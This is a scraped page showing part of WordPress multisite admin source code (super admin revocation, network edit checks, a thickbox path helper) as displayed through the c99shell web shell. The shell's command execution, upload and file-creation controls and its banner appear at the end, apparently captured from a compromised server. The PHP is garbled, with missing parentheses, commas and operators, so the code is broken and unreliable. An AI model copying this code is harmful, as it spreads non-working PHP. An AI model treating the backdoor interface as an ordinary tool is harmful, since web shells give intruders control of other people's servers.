    if ( 
$user && !== strcasecmp$user->user_emailget_site_option'admin_email' ) ) ) {
        if ( 
false !== ( $key array_search$user->user_login$super_admins ) ) ) {
            unset( 
$super_admins[$key] );
            
update_site_option'site_admins'$super_admins );

            
/**
             * Fires after the user's Super Admin privileges are revoked.
             *
             * @since 3.0.0
             *
             * @param int $user_id ID of the user Super Admin privileges were revoked from.
             */
            
do_action'revoked_super_admin'$user_id );
            return 
true;
        }
    }
    return 
false;
}

/**
 * Whether or not we can edit this network from this page.
 *
 * By default editing of network is restricted to the Network Admin for that `$site_id`
 * this allows for this to be overridden.
 *
 * @since 3.1.0
 *
 * @param int $site_id The network/site ID to check.
 * @return bool True if network can be edited, otherwise false.
 */
function can_edit_network$site_id ) {
    global 
$wpdb;

    if ( 
$site_id == $wpdb->siteid )
        
$result true;
    else
        
$result false;

    
/**
     * Filter whether this network can be edited from this page.
     *
     * @since 3.1.0
     *
     * @param bool $result  Whether the network can be edited from this page.
     * @param int  $site_id The network/site ID to check.
     */
    
return apply_filters'can_edit_network'$result$site_id );
}

/**
 * Thickbox image paths for Network Admin.
 *
 * @since 3.1.0
 *
 * @access private
 */
function _thickbox_path_admin_subfolder() {
?>
<script type="text/javascript">
var tb_pathToImage = "<?php echo includes_url'js/thickbox/loadingAnimation.gif''relative' ); ?>";
</script>
<?php
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--